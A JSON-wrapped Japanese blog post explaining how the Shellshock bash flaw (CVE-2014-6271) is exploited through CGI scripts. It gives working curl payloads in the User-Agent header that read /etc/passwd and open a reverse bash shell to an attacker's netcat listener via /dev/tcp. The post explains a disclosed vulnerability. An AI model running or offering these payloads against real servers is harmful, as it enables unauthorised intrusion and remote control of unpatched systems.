{"id":226,"date":"2014-10-30T14:26:53","date_gmt":"2014-10-30T05:26:53","guid":{"rendered":"http:\/\/fsck.jp\/?p=226"},"modified":"2019-03-14T16:16:39","modified_gmt":"2019-03-14T07:16:39","slug":"bash%e8%84%86%e5%bc%b1%e6%80%a7%e3%82%92%e5%88%a9%e7%94%a8%e3%81%97%e3%81%9f%e3%82%a2%e3%82%bf%e3%83%83%e3%82%af%e3%81%ae%e4%b8%80%e4%be%8b","status":"publish","type":"post","link":"https:\/\/fsck.jp\/?p=226","title":{"rendered":"bash\u8106\u5f31\u6027(shellshock)\u3092\u5229\u7528\u3057\u305f\u653b\u6483\u306e\u4f8b"},"content":{"rendered":"<p>bash\u306e\u8106\u5f31\u6027 (shellshock, <a href=\"https:\/\/www.ipa.go.jp\/security\/ciadr\/vul\/20140926-bash.html\">CVE-2014-6271\u7b49<\/a>)\u3092\u305d\u306e\u307e\u307e\u306b\u3057\u3066\u3044\u308bWeb\u30b5\u30fc\u30d0\u304c\u3042\u308b\u5834\u5408\u3001\u74b0\u5883\u5909\u6570 (User-Agent\u306a\u3069HTTP\u30d8\u30c3\u30c0\u3068\u3057\u3066\u6e21\u305b\u3070\u53d7\u3051\u53d6\u3063\u3066\u304f\u308c\u308b) \u306b\u8106\u5f31\u6027\u3092\u7a81\u304f\u6587\u5b57\u5217+\u4efb\u610f\u306e\u30b3\u30de\u30f3\u30c9\u3092\u57cb\u3081\u8fbc\u3093\u3067\u5b9f\u884c\u3067\u304d\u308b\u3002<\/p>\n<p>\u6761\u4ef6\u3068\u3057\u3066\u306f\u3001\u3055\u3089\u306b\u30b5\u30fc\u30d0\u4e0a\u306b\u300cbash\u3092\u5b9f\u884c\u3057\u305d\u3046\u306a\u5b9f\u5728\u306eCGI\u30b9\u30af\u30ea\u30d7\u30c8\u300d\u306a\u3069\u304c\u5b58\u5728\u3059\u308b\u3053\u3068\u304c\u5fc5\u8981\u3002CGI\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u8a00\u8a9e\u304csh\u307e\u305f\u306fbash\u3067\u3042\u308c\u3070\u305d\u306e\u6761\u4ef6\u306b\u8a72\u5f53\u3059\u308b\u3057\u3001\u4eee\u306bPHP\u3084Python\u3060\u3063\u305f\u3068\u3057\u3066\u3082\u3001system\u95a2\u6570\u306a\u3069\u3092\u4f7f\u3063\u3066\u3044\u308c\u3070\/bin\/sh\u304c\u8d77\u52d5\u3055\u308c\u308b\u305f\u3081\u8a72\u5f53\u3059\u308b\u3002<\/p>\n<p>\u203bRedHat, CentOS6\u3067\u306f\/bin\/sh -&gt; \/bin\/bash\u3078\u306e\u30b7\u30f3\u30dc\u30ea\u30c3\u30af\u30ea\u30f3\u30af\u3067\u3042\u308b\u305f\u3081\u4e0a\u8a18\u304c\u6210\u7acb\u3059\u308b\u304c\u3001Debian\u7cfb\u306a\u3069\u4ed6\u306e\u30b7\u30b9\u30c6\u30e0\u3067\u306f\u6210\u7acb\u3057\u306a\u3044\u304b\u3082\u3057\u308c\u306a\u3044\u3002\u4ee5\u4e0b\u306fRedHat Enterprise Linux 6\u3067\u691c\u8a3c\u3057\u3066\u3044\u308b\u3002<\/p>\n<h2>1. \u30b5\u30fc\u30d0\u5074\u3067cat \/etc\/passwd\u3092\u5b9f\u884c\u3055\u305b\u308b\u4f8b<\/h2>\n<p>curl\u30b3\u30de\u30f3\u30c9\u306e-A(User-Agent:\u30d8\u30c3\u30c0\u3092\u6307\u5b9a\u3059\u308b)\u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3001\u6587\u5b57\u5217\u3092\u9001\u308a\u8fbc\u3080\u3002<\/p>\n<pre>attacker-pc$ curl -A \"() { :;};echo Content-type:text\/plain;echo;\/bin\/cat \/etc\/passwd\" http:\/\/\u653b\u6483\u5bfe\u8c61\u30b5\u30fc\u30d0\u306e\u30db\u30b9\u30c8\u540dorIP\u30a2\u30c9\u30ec\u30b9\/cgi-bin\/test.cgi<\/pre>\n<p>\/cgi-bin\/test.cgi \u306f\u3001\u5b9f\u5728\u3059\u308b(\u304b\u3064\u5185\u90e8\u3067bash\u3092\u547c\u3073\u51fa\u3059)\u5fc5\u8981\u304c\u3042\u308b\u3002<\/p>\n<h2>2. \u653b\u6483\u8005\u5074\u3078\u30b5\u30fc\u30d0\u306ebash\u30a4\u30f3\u30bf\u30e9\u30af\u30c6\u30a3\u30d6\u30b7\u30a7\u30eb\u3092\u958b\u304f\u4f8b<\/h2>\n<p>bash\u306e\/dev\/tcp\/host\/port\u5165\u51fa\u529b\u30a8\u30df\u30e5\u30ec\u30fc\u30c8\u6a5f\u80fd\u3068\u3044\u3046\u306e\u304c\u3042\u3063\u3066\u3001\u30c7\u30d0\u30a4\u30b9\u30d5\u30a1\u30a4\u30eb\u3078\u306e\u66f8\u304d\u8fbc\u307f\u304c\u7279\u5b9a\u30db\u30b9\u30c8\/\u30dd\u30fc\u30c8\u3078\u306eTCP\u30d1\u30b1\u30c3\u30c8\u9001\u51fa\u3068\u306a\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u308b\u3002<\/p>\n<p>\u53c2\u8003: <a href=\"http:\/\/d.hatena.ne.jp\/suztomo\/20080430\/1209574954\">suztomo\u306e\u65e5\u8a18 &#8211; nc\u30b3\u30de\u30f3\u30c9\u3068bash\u306e\/dev\/tcp\u3067\u901a\u4fe1<\/a><\/p>\n<p>\u4ee5\u4e0b\u3001\u3053\u306e\u6a5f\u80fd\u3092\u4f7f\u3063\u3066\u653b\u6483\u8005\u5074\u306b\u30b7\u30a7\u30eb\u30d7\u30ed\u30f3\u30d7\u30c8\u3092\u958b\u3044\u3066\u307f\u308b\u5b9f\u884c\u4f8b\u3002<br \/>\n\u653b\u6483\u8005\u306f\u7aef\u672b(tty1)\u3067\u3001nc\u30b3\u30de\u30f3\u30c9\u306a\u3069\u3092\u4f7f\u3044TCP\u306e\u7279\u5b9a\u30dd\u30fc\u30c8\u3092\u5f85\u3061\u53d7\u3051\u308b\u3002\u4ee5\u4e0b\u306e\u4f8b\u3067\u306f3333\u756a\u30dd\u30fc\u30c8\u3067\u3042\u308b\u3002<\/p>\n<pre>attacker-pc-tty1$ nc -l -p 3333<\/pre>\n<p>\u3053\u306etty1\u7aef\u672b\u306f\u305d\u306e\u307e\u307e\u5f85\u3061\u53d7\u3051\u72b6\u614b\u3068\u306a\u308b\u3002<\/p>\n<p>\u3053\u3053\u3067\u3082\u3046\u4e00\u3064\u7aef\u672b(tty2)\u3092\u7acb\u3061\u4e0a\u3052\u3066\u3001\u653b\u6483\u7528\u306ecurl\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3002<\/p>\n<pre>attacker-pc-tty2$ curl -A \"() { :;};\/bin\/bash -i &gt;&amp; \/dev\/tcp\/\u653b\u6483\u8005PC\u306e\u30b0\u30ed\u30fc\u30d0\u30ebIP\u30a2\u30c9\u30ec\u30b9\/3333 0&gt;&amp;1\" http:\/\/\u653b\u6483\u5bfe\u8c61\u30b5\u30fc\u30d0\u306e\u30db\u30b9\u30c8\u540dorIP\u30a2\u30c9\u30ec\u30b9\/cgi-bin\/test.cgi<\/pre>\n<p>\u3059\u308b\u3068\u3001\u3055\u304d\u307b\u3069\u306etty1\u306b\u30b5\u30fc\u30d0\u306e\u30b7\u30a7\u30eb\u30d7\u30ed\u30f3\u30d7\u30c8\u304c\u73fe\u308c\u308b\u3002<\/p>\n<pre>attacker-pc-tty1$ nc -l -p 3333\nbash: no job control in this shell\nbash-4.1$ \n<\/pre>\n<p>\u30b5\u30fc\u30d0\u5074\u304b\u3089\u653b\u6483\u8005PC\u306eTCP3333\u756a\u3078\u63a5\u7d9a\u3055\u308c\u3001bash\u306e\u5165\u51fa\u529b\u304c\u63a5\u7d9a\u3055\u308c\u305f\u72b6\u614b\u3068\u306a\u3063\u305f\u3002<\/p>\n<p>apache\u306e\u6a29\u9650\u3067\u3067\u304d\u308b\u3053\u3068\u3067\u3042\u308c\u3070\u3001\u3053\u3053\u304b\u3089\u4f55\u3067\u3082\u30a4\u30f3\u30bf\u30e9\u30af\u30c6\u30a3\u30d6\u306b\u5b9f\u884c\u53ef\u80fd\u3067\u3042\u308b\u3002<\/p>\n<p>\u203bSELinux\u304c\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u308c\u3070\u30012.\u306e\u30d1\u30bf\u30fc\u30f3\u306e\u5b9f\u884c\u306f\u963b\u6b62\u3055\u308c\u308b\u3002\u3053\u306e\u3068\u304dhttpd\u306e\u30a8\u30e9\u30fc\u30ed\u30b0\u306b&#8221;sh: \/dev\/tcp\/aa.bb.cc.dd\/3333: Permission denied&#8221;\u304c\u8a18\u9332\u3055\u308c\u308b\u3002<\/p>\n<p>\u5b9f\u9a13\u74b0\u5883:<br \/>\nRedHat Enterprise Linux 6.5 x86_64<br \/>\nbash-4.1.2-15.el6_4<\/p>\n<p>\u53c2\u8003\u306b\u3057\u305f\u30b5\u30a4\u30c8:<br \/>\n<a href=\"https:\/\/x86-64.jp\/blog\/CVE-2014-6271\">x86-64.jp &#8211; bash\u306e\u8106\u5f31\u6027\u304c\u30e4\u30d0\u3059\u304e\u308b\u4ef6<\/a><br \/>\n<a href=\"http:\/\/www.walbrix.com\/jp\/blog\/2014-09-bash-code-injection.html\">\u30ef\u30eb\u30d6\u30ea\u30c3\u30af\u30b9\u682a\u5f0f\u4f1a\u793e &#8211; BASH\u306e\u8106\u5f31\u6027\u3067CGI\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u30a2\u30ec\u3055\u305b\u3066\u307f\u307e\u3057\u305f<\/a><br \/>\n<a href=\"http:\/\/moro-archive.hatenablog.com\/entry\/2014\/09\/27\/200553\">\u3082\u308d\u305a blog &#8211; bash \u306e\u8106\u5f31\u6027 &#8220;Shell Shock&#8221; \u306e\u3081\u3063\u3061\u3083\u7d30\u304b\u3044\u8a71 (CVE-2014-6271)<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>bash\u306e\u8106\u5f31\u6027 (shellshock, CVE-2014-6271\u7b49)\u3092\u305d\u306e\u307e\u307e\u306b\u3057\u3066\u3044\u308bWeb\u30b5\u30fc\u30d0\u304c\u3042\u308b\u5834\u5408\u3001\u74b0\u5883\u5909\u6570 (User-Agent\u306a\u3069HTTP\u30d8\u30c3\u30c0\u3068\u3057\u3066\u6e21\u305b\u3070\u53d7\u3051\u53d6\u3063\u3066\u304f\u308c\u308b) \u306b\u8106\u5f31\u6027\u3092\u7a81\u304f\u6587\u5b57\u5217 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[13,15],"tags":[],"_links":{"self":[{"href":"https:\/\/fsck.jp\/index.php?rest_route=\/wp\/v2\/posts\/226"}],"collection":[{"href":"https:\/\/fsck.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fsck.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fsck.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fsck.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=226"}],"version-history":[{"count":0,"href":"https:\/\/fsck.jp\/index.php?rest_route=\/wp\/v2\/posts\/226\/revisions"}],"wp:attachment":[{"href":"https:\/\/fsck.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=226"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fsck.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=226"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fsck.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=226"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}